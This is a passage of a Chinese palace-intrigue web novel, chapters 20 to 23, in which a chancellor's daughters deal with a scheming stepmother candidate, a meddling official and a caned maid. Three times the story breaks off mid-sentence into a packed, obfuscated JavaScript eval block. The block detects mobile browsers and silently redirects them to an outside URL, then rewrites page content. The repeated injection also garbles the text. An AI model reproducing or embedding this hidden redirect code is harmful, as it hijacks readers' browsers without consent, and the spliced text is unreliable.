后来祖母大约是看上了保谦侯府殷家的长女,这位殷大小姐虽然也想嫁入宇文家,成为权臣夫人,但是前头原配留下四个儿女,让她有些担忧,继母不好当,她想去后院看看这四个孩子什么样子。 海棠虽然人小,但是当然知道这人就是祖母选来代替娘的位置,是爹将来的续弦。 所以她对那位殷小姐非常有敌意,殷小姐到院子里看她,她跑出了院子,到后园玩去了。 她跑到池塘边捞鱼,殷小姐追出来喊她:“你跑什么?” 追到面前来,质问她:“你是不是老三,宇文海棠?” 哥哥不在女孩齿序里,虽然她是老三,但其实排老二。 海棠鼓着脸:“关你什么事,你这个老女人!” 殷小姐很生气:“你怎么这么跟我说话,我马上就是你娘了!” 海棠说:“你这丑八怪怎么可能是我娘,你长得像癞蛤蟆一样!” 殷小姐其实不像癞蛤蟆,但是被她气得哼哼哈哈的,着实有点像了。 看海棠气鼓鼓瞪着她,并不服她的样子,她突然变了脸色,走到近前,唤来海棠的丫鬟:“小姐鞋子有点湿了,你没看到吗?还不赶快拿一双来给小姐换,小姐要是着凉生病了,打死你!” 那跟着海棠出来的小丫鬟也不过十三四岁,听到这话吓坏了,赶忙回去取鞋。 殷小姐又走过来了:“你给我记住了,你娘马上就要死了,以后我就是你娘,我跟你爹还会生很多弟弟妹妹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455325|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等我的孩子出生了,你以为你还金贵吗?你要是聪明的,我劝你现在学乖点,说不定以后我还能好好养你一场,否则别怪我不客气!” 海棠恶狠狠盯了她一会,突然拔腿就跑:“好啊,你敢咒我娘,我现在就去告诉爹和祖母!” “你给我回来!”殷小姐似乎被她吓到了,一把拽住她的胳膊。 然后她就掉到湖里了,冬天的湖水刺骨之寒,还飘着一层冰,殷小姐张皇无措地看了看四周,自己跑走了。 就在海棠快要沉下去的时候,娘来了。 因为这件事娘的病更严重了,爹把她狠狠打了一顿:“你瞎跑什么!你非要跑到湖边干什么!” 海棠被打得号啕大哭:“是保谦侯府家那个大姐姐推我的,她骂娘,还推我到湖里!” 殷小姐吓得直发抖,也哭了出来:“二小姐,你可不能胡说啊,我早就走了,丫头不是给你拿鞋去了吗,我不认识路,也跟着她走了,后来在园子里迷了路,幸亏遇上宇文大人,才带我回来的,怎么就变成我推你下去的了?二小姐,就算你不喜欢我,也不能这样说啊!” 殷小姐一边哭,她母亲一边搂着她:“我们家孩子乖巧懂事,品性纯良,见过她的人没有一个不夸她的,怎么到你家受这样的委屈,我们就算不嫁了,也绝不受这份栽赃诬陷!” 海棠哭着喊:“就是她推我的,就是她推我的,爹爹我恨你,你不信我!” 祖母在旁直叹气:“你这冤家,快些闭嘴吧,害了你娘不够,还要搅和你爹的好事吗?” 娘后来病重去世,这门亲事到底也没结成。 那位殷小姐八成也是个做续弦的命,后来远嫁到外郡,也是做续弦,过了大约七八年,海棠已经长大的时候,又听人说起她嫁的那个丈夫酗酒从马上摔下来死了。 殷氏亡夫之后想回京改嫁,但是她婆婆好像非常厉害,日夜折磨着她,不准她改嫁,逼她给自己儿子守节,直到又过了好几年,海棠自己都嫁人的时候,也没听说那殷氏回来的消息,想必还没跳出婆婆的手掌心。 想到小时候的事,海棠顿时睡意全无。 这么多年她经常想着如果让她重来一次,是不是很多事情不会变成那样?是不是娘还可以多活几年? 她甚至还派人去找过那个殷氏想要寻仇,但是却没有消息,谁知道她有没有被她的厉害婆婆磋磨死或者扔到哪个庄子上去了,总之后来就没有她的消息了。 唉,海棠深深叹了口气。 爹从来不喜欢她,不管她是颓废不振还是蛮横无礼,都任她自生自灭。 那时她被母亲的死折磨着,每天每夜都哭,兰君心软,本想劝她,见她那样哭,自己也忍不住,两个人便抱在一起哭。 哥哥那时候也就十几岁,但是已经很能像个男人一样保护着妹妹们了。 他教海棠骑马射箭,带她策马扬鞭,驰骋草场,告诉她:“命有定数,不是你的错,不要往自己身上揽,你希望娘看到你这样吗,娘也会难过的。” “有一天你见到天地广阔,万物须臾的时候,当要学会放下很多事。” “妹妹,好好长大,当一个好孩子!” 哥哥教她重活了一次。 所以这些年,即便家族背弃,姻缘不顺,她也并没有真的怨天尤人。 父亲厌她,但手足爱她,没有朋友,但有春泠相伴左右。 有一万个人恨她也无妨,只要有那么一两个真心爱她的,就足够了。 21. 第二十一章 锣鼓巷南街,兴隆画铺。 嘉宁从马车上下来,下月是爹爹寿辰,她准备来买副字画送给爹爹。 京都的能人巧匠很多,兴隆画铺除了收藏的名家大作,还有不少水平高超的雅致作品。 去年嘉宁从这里买了一幅狸猫戏绣球的双面画,假装是自己所画的送给爹爹,可是一下就被识破,她的水平拙劣,怎么可能画出如此栩栩如生的作品。 今年干脆一不做二不休,也不假装是自己画的了,直接来买一幅交差。 她进了店里,在一楼没看到心仪的,便又上了二楼,转了许久,终于在最里面的一架展柜中看中了一幅喜欢的。 只是还有些犹豫,便指着两幅画,一幅是《太行山仙楼图》,一幅是《雪溪燕雀图》。 问婢女丹心:“你觉得哪个好?” 丹心道:“这两幅画都不俗,若是咱们女儿家,当然觉得那些燕子飞雀停在化雪的溪流边,更显得可爱些了,但若是要送相国,那必然还是千峰万壑的山水图,才彰显磅礴大气。” 嘉宁也是这样想,又细细看了那副山水图,山下青绿纵横,山中走兽飞禽,山顶云雾缭绕,飘渺楼阁拔地而起,直上云霄,相较来说确实更好一些。 这么想着,便喊来掌柜:“这幅画给我包了,另配一副紫檀木的框子镶起来,框边雕上云纹,最外边包一层鎏金,五日后送到我府上。” 兴隆画铺生意做得大,不少士官家族都来光顾,掌柜与嘉宁是熟识,便不大好意思地开口:“三小姐,您是我老主顾,常来我家买东西,按道理您要的东西,我亲自上门送去也应当,只是今日真是抱歉,这幅画已经有主了,实在卖不得。” 嘉宁问道:“已经被买下了吗,那人出了多少钱,我给你加钱。” 掌柜颇是为难:“这不是钱不钱的事,这画本就不是我店里的,是一位大人自己画的,送来我这里裱框子,也是我今日犯懒,方才正要装订的时候,楼下来人,我忙着生意下去了,将这画丢在这里,正好就让小姐你看见了。” 嘉宁又问:“那你可知道是谁画的?我给他出钱,问问他愿不愿意卖给我?” 掌柜更是面露难色:“那位大人不好讲话,恐怕不会同意的。” 正巧外面响起马车停靠的声音,掌柜探头朝楼下一望:“瞧,他来了!” 嘉宁扶着栏杆,略略往楼下看了一眼。 那画作的主人穿着一身泰蓝色仙鹤纹圆领长袍,正款款上楼来。 卜瀚文?怎么会是他? 嘉宁皱起眉头,还真是冤家路窄。 卜瀚文一上楼,掌柜便迎上去:“大人,这位小姐想买您的画作,您看这可怎么是好?” “哦?”卜瀚文微微挑眉:“三小姐竟然愿为在下的鄙陋之作花费钱财?真是受宠若惊。” 他笑了笑:“本不是什么值钱东西,你喜欢就拿去吧!” 嘉宁道:“原本不知道是你画的,现下知道了,也没必要了,我是来为我父亲挑选礼物的,你说我要是送他一副你卜大人亲手所画大作,他会高兴吗?说不定还要痛骂我不孝女呢!” 卜瀚文笑:“三小姐还是这么风趣,那我也不强人所难了,这幅“大作”,我还是自己拿回家慢慢欣赏吧!” 嘉宁转身准备离开,卜瀚文突然又来一句:“三小姐离宫回家以后,似乎珠圆玉润了不少,看来还是相国府的风水养你。” 嘉宁停住脚步,回身道:“相国府的风水当然好,要不怎么会招来这么多嫉妒呢?” 鼻子里哼出一声:“上回在宫里,你用赐婚的事吓唬我,我还没找你算账呢!” 卜瀚文道:“这你可冤枉我了,我怎么是吓唬你呢?我给你通风报信,你倒怪起我来了!” 嘉宁不想再跟这不正不经奸险狡诈的无赖废话,想要快些回府去。 不过刚抬脚,脑子里突然鬼使神差的,迸出兰君跟她说的那件事。 江东侯书信纠缠大姐,至今还没解决掉这事。 兰君怕丑,也不敢和爹爹说,自己又没有什么好的办法。 嘉宁觉得自个脑子笨,出不了主意,卜瀚文应当是比她精,不如从他这探探主意,看看能不能帮姐姐解了燃眉之急。 那只已经迈出去的脚,又迈回来了。 “说起来,近日有一桩非常令我烦心的事,大人见多识广,不知可能解惑?” “请讲。”难得她没有恶言相向,卜瀚文颇有兴致听两句。 嘉宁便道:“我且请教大人,如果现在你已经有了一桩婚约,但是呢,你半路又结识了一个女子,这女子身份相貌都比现在的未婚妻要好,但你是一个守礼的人,家规森严,注定不可能抛弃未婚妻转头另攀高枝。” “于是你便写了一封书信拒绝这女子的好意,可是不成想这女子不依不饶的,一直写书信联系你,你既不想和她联系,又怕这件事被别人知道,影响自己的名声,明明自己什么都没做,到时候反而被误解成花心男人,你说,这该怎么办?” 卜瀚文饶有兴致地看向她:“三小姐,你遇到的难题不小嘛,那上次我跟你说的事呢,你自己的事解决了吗?” 嘉宁哼道:“我的事自然有人帮我解决,那这件事你觉得要怎么解决呢?” 卜瀚文笑起来:“这还不简单,你要是看中了那个新人,就把旧人踹了直接跟他,要是没看中,那人又纠缠不休,那就直接捅出来告他一状,把你自己择出来不就行了。” “捅出来事就大了,最好不要得罪他。”嘉宁面露犹豫。 “哦?看来真有这么个人喽?”卜瀚文道:“三小姐,你平日事挺多啊,忙得很呐!” “你管我!”为了姐姐的幸福,嘉宁不介意把这锅背了:“现在就是怎么委婉回绝他,又不要得罪他。” 卜瀚文弯起唇:“既然这样,那你就写一封书信回给他,就说你父亲知道了这件事,非常震怒,责怪你私联外男,德行有亏,给家族蒙羞,要动家法打死你,为了你的性命和清誉,求他别再联系你了,不过这中间的尺度要把握好。” “要可怜到让他产生愧疚之情,但是又不能太可怜,别让他以为你父亲真要打死你,到时候千里杀过来救你就不好了。” 嘉宁似懂非懂:“这样吗?那我知道了,多谢你了。” 突然又反应过来,跳脚喊道:“我几时说是我私联外男了?我问的是你!你扯我干什么!” “是你也罢,是我也罢,你就先这么着吧!”卜瀚文一脸看戏的表情。 嘉宁不大相信地又深深看了他一眼,然后急匆匆下楼,卜瀚文提醒她:“怎么,画真不要了?我的鄙陋之作就这么上不得你家的台面?” 她回头:“你画得很好,但是你卜瀚文的名字,实在不招我爹待见。” 说罢钻上马车,很快不见踪影。 望着相国府的马车,卜瀚文抱着胳膊,摇了摇头。 真是个可怜的小笨蛋,连编谎话都编得破绽百出。 她能知道那么清楚的定是她身边人的事,宇文家如今有婚约的女儿只有一个,这很难猜吗? 希望他说的办法能解决这件事,这蠢笨丫头平日不带脑子,要是到处问人就麻烦大了。 不过那宇文兰君平时看着文文静静的,没想到还能遭此艳遇,只是那纠缠她的人,不知道是谁。 地位相貌比她现在的婚约对象,定国公府徐世子还要好的,让宇文家都不敢轻易得罪的。 而且书信往来肯定不在京都,听起来应该也是相识不久的,那最大的可能就是之前进京的三位外郡侯爷。 陇南侯长得丑第一个排除,那就是河西侯和江东侯其中之一了。 不对,卜瀚文反应过来,宇文家的事跟他有什么关系?吃饱了撑得他操心这个。 他已经没了镶画的兴致,也不想再啰嗦宇文家的事,径直上了马车回府。 等回了自己家里,刚进正厅,就见母亲正将数张画像摊在桌上细细观看。 见他回来了,忙招呼他过来:“瀚文呐,快来瞧瞧,这都是各家闺秀的画像,你瞧瞧可有中意的,娘去给你提亲。” 这老生常谈的话题让他耳朵都听出了茧子,不耐烦道:“您又多事!” 卜夫人便不高兴起来:“你自己不操心,只能娘给你操心了,你倒好,还摆起款,冲着娘发火来了。” 又接着絮叨:“婚姻嫁娶是人生大事,是人都有这么一遭,躲也躲不掉,你也到了该讨老婆的年纪了,不要挑三拣四的,寻个老实本分,知书达理的新妇,这日子不就过起来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469649|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢也不顾卜瀚文嫌弃的脸色,径直将他按在椅子上,一个个介绍起来:“这是太常寺王大人家的幺女,刚满十八岁,瞧这小圆脸,多有福气,你可中意?” “这是鸿胪寺吕大人的三女,今年十九岁,据说女红极好,脾气也温柔,听得不少夫人夸赞她呢!” “还有这个,佐领都尉家的小妹,二十岁,你看这鹅蛋脸,大眼睛,和你多相配!将来的孩儿肯定可爱极了!” 听着母亲喋喋不休的念叨,卜瀚文的注意力却全然不在那些画上。 如今他是枢密院尚书令,官居正三品,已是极高的位置了,婚事自然不用愁。 他母亲心里那点小九九,他也能明白,挑选的都是五品以下官员家的女儿妹妹,还不是为了将来新妇嫁过来,她还能摆摆做婆婆的架子,好好受受媳妇的伺候。 若是攀上个门第高的,卜家便落了下风,她这婆婆便不占优势了。 卜夫人一人口若悬河,卜瀚文在旁眼神放空地坐着,心里却一直不由自主地想到不在画上的那个人。 宇文嘉宁,现下应该已经到她自己家了。 一提到婚事,他就陡然想起这件事,之前陛下曾提过想将宇文嘉宁许配给诚郡王,此事连他也是大吃一惊。 当时诚郡王府的老太妃来宫里请安,说诚郡王到了年纪,又是宗室子弟,希望陛下能为他赐婚一个名门嫡女做正妃,正好颐妃那时忙着为她家小妹和江东侯牵线,可是折腾许久,江东侯似乎对她杨家的小姐无意。 颐妃听说皇后也看中江东侯,有意为自己家妹妹牵线搭桥,便更是紧张,虽然她表面从来不提,可背后没少使劲,恐怕也是觉得她杨家已经输给宇文家一次了,那次惨痛地输掉了皇后的位置,如今两家妹妹又要争抢同一个金龟婿,若再被宇文家抢走,那可真是输人又输志了! 这也就是颐妃比皇后高明的地方,明着藏拙,暗着出招,哪像皇后成天刁蛮任性,结果雷声大雨点小,搞臭了自己的名声,颐妃的名声可好太多了,就算她暗暗使些下绊子的损招,都不会有人想到她。 颐妃一听说诚郡王府来求赐婚的事,便向陛下举荐宇文嘉宁,说这两人无论身份地位还是脾性相貌,都很相配。 陛下也曾当面问过他一次,问这两人配不配,这两家合不合适? 卜瀚文当时真是大吃一惊,诚郡王府纵然门第高贵,但是诚郡王年少多病,家中长辈听信游僧的说法,将他送去庙里寄养到十八岁才接回来,那是一个出口阿弥闭口陀佛,晨昏念经,不沾荤腥,一整个神神叨叨的人。 宇文嘉宁嫁给他?真是不敢想,这两人过日子能过一起去? 他觉得郡王府不是好去处,但作为臣子,也不好说王爷的不是。 其实陛下就提过那一次,也没写什么赐婚圣旨,确实是他夸大其词,故意吓唬嘉宁的,因为知道她必会找皇后去告状,皇后要是知道了,肯定不会同意,便会去同陛下大吵大闹,那此事就可以不了了之了。 母亲仍在耳边滔滔不绝地说,吵得他有些头疼。 卜瀚文靠在椅背上,心事重重。 心里陡然又有些后悔,觉得自己又一次多事了。 实在不该多管宇文家的事,更不该与宇文氏子女过多接触。 大相国与陛下积怨已久,如今表面平静,实则暗潮汹涌。 前些年宇文宏都拖延陛下亲政的时间,本该是十八岁就亲政,却直到陛下二十岁才得以真正亲政,后又反对陛下为章太后修建行宫,反对陛下南巡水利,反对陛下为外戚章氏家族加封爵位,大大得罪了陛下和章太后。 后来陛下建立枢密院,往来奏折红批,不再经过内阁阅览,削弱了宇文宏都的权利,宇文宏都便将陛下儿时学习不用功,考校功课时作弊的事拿出来说笑,以此童年旧事,来诋毁刻薄陛下,使得龙颜大怒。 往日种种旧怨,数不胜数。 陛下现在对宇文宏都是势在必除,绝不会容忍他再一个十四年。 宇文家富贵将尽,大厦将倾,他既然站在了陛下这边,那宇文宏都便是他青云路上的垫脚石。 为了陛下的信任,为了自己来之不易的仕途,为了将来的锦绣前程。 他都应与这个待罪之家,保持些距离,免得将来牵连自身。 22. 第二十二章 长信宫 昨夜里下了一场雨,今早雨停了,这样的天气让人贪睡。 海棠果不其然又睡晚了,向嬷嬷来催了几次,才爬起来醒了会神。 过一会懒着声音喊向嬷嬷过来:“嬷嬷我中午想喝鸡汤,加上高丽参,炖得久一点,再加点野蕈。” “还想吃炸酥肉和拔丝地瓜,再炖一碗莲子银耳,我下午吃。” 吩咐完了,又倒回床上去,长舒一口气,这回才是真正开始慢慢爬起来了。 每天睁眼闭眼就是吃什么喝什么,海棠还是喜欢市井口味,至今不习惯宫里循规蹈矩的八大盘八大碗,各种冷盘冷点,一到饭点上来这样一桌菜,直接日子都不想过了。 待她好不容易起了床,春泠过来服侍她洗漱,海棠喜欢用鲜花泡水来净面,今日用的是玫瑰,滴了几滴香露。 洗了脸,换上干净的衣衫,海棠摸着身上的衣服,突然想起她最喜欢的那件中衫还放在司衣局修补呢,那衫子是蚕丝缎做的,触手生温,光滑无比,被她不小心扯了一道口子,又舍不得扔,拿到司衣局去补,有小半月了还没拿回来。 她问春泠:“上回拿去司衣局补的那件衫子可好了,要是好了就拿回来。” 春泠一边帮她系环佩,一边道:“应是好了,我一会闲了就去拿,司衣局宫女说那件衣裳丝线特别薄,极难修补,不知道修得好不好,能不能看出来破损。” 门口的小宫女在剪花枝,海棠吃了两块点心,喝了一盏牛乳茶,便坐到院子前的摇椅上,开始翻些聊斋志怪之类的书。 春泠盯着小宫女们干了一会活,又去后头厨房看了看当日例菜,忙了好一阵子,才回自己屋里去,取了库房钥匙,又去拿存的茶叶出来。 皇宫的生活也不过就是这样,晨昏交替,一日三餐,只不过从相国府的院子,换到了长信宫的院子。 春泠拿了茶回来,看到海棠把书盖在脸上,一动不动的,不知道她是在想心事,还是在犯困。 海棠在屋外坐了一会,天上突然飘起小雨,只好起身回去了。 午饭过后,她留在内殿休息,长信宫又到了闲暇的时候,小宫女们甩开手里的活计,凑到一起吃话梅和瓜子,笑嘻嘻聊起天来。 春泠拿了伞,喊上另一个宫女翠烟,两人一同去司衣局取衣服。 那件衣裳的料子珍贵,碰不得水,她特意准备了一只红木箱笼,好装回来。 走到半道上雨渐渐大起来,路过宣华门时,正碰到韩才人的轿辇过来。 春泠和翠烟福身行礼道:“见过韩才人。” 韩才人坐在辇上,淡淡打量了一眼:“春泠姑娘,这是到哪里去?” 春泠回话:“奴婢去司衣局给皇后娘娘取衣服。” 韩才人笑:“你倒是用心,拿件衣服罢了,哪用得着你这大宫女亲自去。” “有这功夫还是多教教底下人吧,别什么事都自己来,哪干得过来。” 说着又笑起来:“你主子是个不管事的富贵闲人,什么事都丢给别人做,也难怪你们辛苦。” 春泠淡淡笑:“为奴婢者,侍奉主子是本分,没什么辛苦不辛苦的。” 韩才人望着她笑了:“你跟着皇后娘娘,这脾气还真有同出一门的古怪劲,果然有其主必有其仆。” “不过你主子可不像她自己说得那么光明磊落,往日在我们面前,总显露出与陛下不和的样子,可是如今却是勾得陛下成天往她那里跑,这叫什么事呢?诓我们不成?” 原来是心里藏酸才这样喋喋不休,不依不饶,春泠轻轻一哼:“韩才人,您这叫什么话?我家娘娘是中宫皇后,她与陛下如何,都是他们夫妻之间的事,旁人有什么资格置喙?况且您是后宫嫔御,怎能起这个坏头,妄议帝后是非?” “这话要让娘娘知道了,必要生气惩戒您的,才人还是慎言。” 韩才人冷笑,阴阳怪气的表情:“果然是皇后的人,好大的谱,威风都耍到我面前来了!我这小小才人位置再低,那也是太后娘娘举荐为妃的,你一个宫女,倒敢指摘起我的不是来了?” 春泠道:“奴婢不敢指责您,是您先对皇后娘娘不敬,奴婢这才出言提醒,希望您能检省自身。” “皇后娘娘是后宫之主,天下之母,是大赦天下明媒正娶进来的,奴婢身为长信宫的宫人,自然容不得旁人,对她出言不逊。” “你放肆!”韩才人脸色极黑:“区区宫婢,仗着皇后狐假虎威,想骑到我头上来了!你可记着,你既进了宫,就不再是宇文家的奴婢,而是宫里的奴婢,你守得不是长信宫的规矩,而是宫里的规矩!” “你这般嚣张,无非依仗你主子的风头,好啊,既然我这小小才人没本事教训你,我这就去请太后娘娘主持公道,看看你这以下犯上的贱婢,该用什么宫规处置!” 韩才人怒气冲冲地走了,身旁翠烟焦急地拉扯春泠的袖子:“姐姐这可怎么办啊?你得罪了韩才人,她肯定要找麻烦的。” 春泠只道:“管她呢,先回去吧…” 可谁料两人还没走出多远,后头太后宫里的内监就追上来了:“站住!没规矩的奴婢!竟敢与主子口舌争辩,当众撒起野来了!” 这是要较真儿了,春泠回过头去,挺直身子毫不畏惧:“韩才人当众诋毁皇后娘娘,我身为长信宫总管宫女,不得不与韩才人论论宫规,怎么就没规矩了?怎么就是撒野了呢?” “我若以下犯上犯了宫规,我甘愿受罚,那韩才人又该当何罪?” 那为首的内监叱道:“休要巧言狡辩!才人乃是后宫嫔妃,她的罪责自有太后娘娘定论,你虽为皇后贴身宫女,但也是仆从奴婢,怎么敢教训起主子来了?” “太后娘娘为此震怒,下令将你杖责二十,罚跪两个时辰!”说着又突然指向翠烟,把翠烟吓得一个激灵:“还有你这贱婢,狼狈为奸,不加劝阻,一并跪上两个时辰!” 数名内监上前将春泠扭压在砖石地上,翠烟急得护着她直哭:“公公,不能打呀!不能打!春泠姐姐一个弱女子,你打她二十板子怎么受得了!” 春泠被按在地上仍不服气:“你们这些仗势欺人的狗东西!你敢打一个试试!什么宫规戒律,说得好听,无非是太后和韩才人与我们娘娘龃龉已久,借机撒气罢了!你扯什么冠冕堂皇的借口!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497402|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我倒看看你今天能不能打死我!” 天上雨势渐大,渐成瓢泼倾盆之态。 她二人雨伞丢在地上,已经被乱糟糟地踩碎了,两个人趴在地上淋得像落汤鸡,狼狈不堪。 可是春泠固执,翠烟哭着拦她:“好姐姐,别再说了,这二十板子打下去你受不住的,我们去跟太后娘娘磕个头求个情吧!” 太安宫的内监已经等不及了,团团围上来,将丈长的板子举在手里:“真是死到临头还嘴硬,太后娘娘打你一顿,不冤枉你!” 窗外雨越下越大,打在窗棱上发出清脆的声音。 海棠午睡起来,朝门外喊了几声春泠,没人应。 披了衣服往外走:“春泠呢?” 殿里静悄悄的,过了好一会向嬷嬷才红着眼圈进来禀报:“娘娘,不好了,晌午春泠姑娘去司衣局给您取衣裳,半道上碰到韩才人,不知怎么的,有了几句口舌争执,现下太后娘娘说春泠以下犯上,坏了宫规,罚了她杖刑,翠烟陪着跪着,两个人到现在还没回来呢!” 海棠大惊失色:“怎么不早喊醒我?杖刑!她一个姑娘家,这是要打死人的!” 向嬷嬷苦着脸:“太后娘娘旨意,我等做奴婢的,除了干着急,哪敢说什么,只能等娘娘醒了再处置。” 海棠连衣服都没来得及换,穿着寝衣就冒雨跑了出去,一众宫人急忙打伞追在后面:“娘娘,娘娘慢些!” 宫道上,春泠倒在雨里,脸色苍白。 挨了一顿打,身上皮开肉绽,血水混着雨水流了一地,翠烟在旁不停地抹眼泪。 春泠两手攥成拳,强忍痛苦:“别哭了,她们是成心来找事的,躲也躲不掉,这顿打早也是挨,晚也是挨。” “打了我一顿,太后理亏,娘娘也能安生一段日子了。” 耳边突然传来嘈杂喧闹的声音,春泠缓缓睁开眼。 海棠飞奔过来,艳丽的裙角遮住了春泠的视线,身上的剧痛让她有些听不清海棠的话,只能听到翠烟抓着她的手说:“娘娘来了,娘娘来救我们了!” 看到春泠被打成如此惨状,海棠气得浑身发抖,拿了披风将春泠盖上,将她抱起,向长信宫走去。 大雨淋得海棠浑身湿透,桃红色的寝裙透湿以后浓艳非常,墨黑的头发覆过腰背,走在路上简直形如女鬼。 长信宫众人追来,打伞的打伞,披衣的披衣,纵然太后未曾赦免春泠,但皇后亲自将她带走,旁边也无人敢拦。 内宫闹出如此大的动静,皇帝原本在太极殿休息,听闻卫少监禀报后也急匆匆披衣起身。 长信宫离太极殿不算远,皇帝上了角阁便看到那边宫道上熙熙攘攘的人群。 身后风雨未停,卫少监打着一把墨黑金丝龙纹伞为他遮挡。 他紧蹙着眉头,也不知道是该责怪皇后又一次无视宫规,挑起事端,还是该责怪她太不爱惜自己的身体。 如此狂风暴雨,她就这样赤足在地,衣裙全部淋湿,头发也未梳,雨水顺着满头长发如瀑布般飞流。 浑身零落,满是狼狈,竟然只是为了一个奴婢。 她为何总是要做这种荒谬的事… 23. 第二十三章 太安宫中,章太后原本还有些心虚,自己打了皇后的贴身宫女,恐怕皇后不会轻易咽下这口气。 可是听到内监禀报皇后身着寝衣,披发赤足,狂奔于宫道之间,将她的贴身宫女带走。 章太后直接被气得天灵盖冲顶:“真是放肆至极!狂妄至极!” 而后一屁股坐回椅上,开始细数海棠的种种罪过:“自宇文氏之女进宫以来,哀家对她是百般忍让,万般迁就,可她不仅不思悔改,反而变本加厉!” “身为中宫,一是不孝不敬,无视晨昏定省之礼,从未主动给哀家请过安;二又屡次顶撞哀家和皇帝,言语刻薄,行为跋扈。” “三是后宫干政,剑劈太/宗所立碑石,此为大不敬之罪,皇帝替她遮掩,哀家尚没有追究这件事;四更是今日,她竟为一个宫女,不顾身为皇后的颜面,赤足狂奔于宫道间,让六宫都看尽了笑话,她这样挑衅哀家,哀家怎能再纵容她下去?” “来人!”章太后怒不可遏:“传哀家旨意,皇后失态,不堪为后宫表率,着令内廷府掌教嬷嬷过去,赐手杖之刑三十,禁足三月,命其静思己过!” 此话一出,连章太后身边的马嬷嬷都大吃一惊,犹豫劝阻道:“这…皇后娘娘毕竟是中宫之主,怎可打她手板,岂不是太过羞辱了,这几板子要是打下去,往后叫她在宫中怎么抬得起头来?” 兴许内廷府的掌教不敢真的下狠手打皇后,可是就算轻轻几板子糊弄过去,皇后的脸面也丢尽了。 马嬷嬷有心劝阻,可是章太后盛怒之下,执意如此,马嬷嬷劝说不得,也只能干着急,心里七上八下的。 太安宫和长信宫矛盾已久,即便不能化干戈为玉帛,也不好这样彻底撕破脸面啊! 一刻钟后,宫女回来禀报:“回太后,皇后不从,命人将掌教嬷嬷赶了出去,还放话…说是今后长信宫与太安宫不再来往,她不会再来请安了。” 章太后大怒,拍桌而起:“放肆!叫她过来!” 宫女缩着脖子,小心翼翼道:“她不肯来。” “反了天了,哀家就不信没人治得了她了!”章太后被气得团团转,打她年少进宫起,这三十年来她就没见过任何一个这样反骨桀骜的人。 宫里是什么地方,任你什么古怪脾性,骄纵姿态,早晚有一天能将你磨平了棱角,变得服帖规训。 从前历任的后宫之主,没有一个是管不住下面人的,都将下面人压得死死的,不敢有一点叛逆之心。 可为何到了她这里,反而受牵制于人了,难道是她自己本事不如前人? 章太后被气得都开始怀疑自己无能了,张口喊道:“皇帝呢?速速叫他过来,他这个皇后要怎么处置,今日必须给个说法,哀家已经忍无可忍了!” 身旁众人唯恐此事闹大,毕竟太后不占什么理,连忙劝说:“太后娘娘,您既已打了皇后的宫女出气,不如大人有大量,饶她一回算了,皇后年轻,许多事不懂,您是长辈,跟她计较什么,何苦将此事闹大,让陛下难做。” “况且听说那宫女与皇后自小一同长大,情同姐妹,这一顿板子让她吃了不少苦头,到现在还下不来床呢!” “皇后心里有气,眼下不好与她争论对错,不如让她静一静,后头再说…” 章太后反而气急:“本宫身为太后,难道连个宫女都打不得了?皇后先是不敬先祖,干预前朝政事,后又为一宫女无视宫规,顶撞哀家,如此荒唐行径,哀家还要忍让她吗?让如此妖妇祸国,天理何存!“” 马嬷嬷忙道:“那毕竟不是一般的宫女,打她便是打了皇后的脸,皇后的性子您也知道,您别拿她当正常人看,与她计较什么呢?您就宽宽心,养养身子,莫再与长信宫起争执了。” 章太后仍竖着眉毛,刚要开口,就见皇帝来了。 她一下子泄了一口气,换上委屈姿态,急忙上前告状:“皇帝!看看你的好皇后,她巴不得要气死你娘!” 皇帝整日被围在一群女人中间,实在头昏,今日又忙碌,更没有闲心断官司了,心烦意乱道:“往日她确实干了不少荒唐事,可是今天的事朕听人禀报,好像并非皇后先行挑事吧?” “韩才人呢?她躲到哪里去了?”皇帝环顾四周,没看到韩才人身影,脸色愠怒:“这件事因她而起,惹得太后皇后两宫轩然大波,她倒好,自己抽身躲起来了!” 又对太后:“嫔妃间的矛盾,您是太后,是长辈,应要做到公平,为何要插手进来,偏帮韩才人?” 章太后不可思议:“我偏帮韩才人?你这叫什么话!” 说着便委屈涌上心头,冲着儿子猛捶几拳,哭闹起来:“你说这样的话,那你不是在偏帮着皇后?我辛辛苦苦把你养大,你倒好,不向着亲娘你向着她!近朱者赤近墨者黑,你娶了这样的女人,早晚有一天你也要变成跟她一样不孝的混账了!...” 章太后心酸的掩面哭了起来,皇帝任凭她捶打了自己几拳,才安慰道:“好了,母后,您既打了儿子,也只当消气了。” “我如何能消气?”章太后不依不饶,埋怨哭喊:“当真是前世造孽,才讨来一个这样的儿媳妇,从头到脚,从上到下找不出一点优点,打从她进宫,更没一件好事!我看到她就来气!” 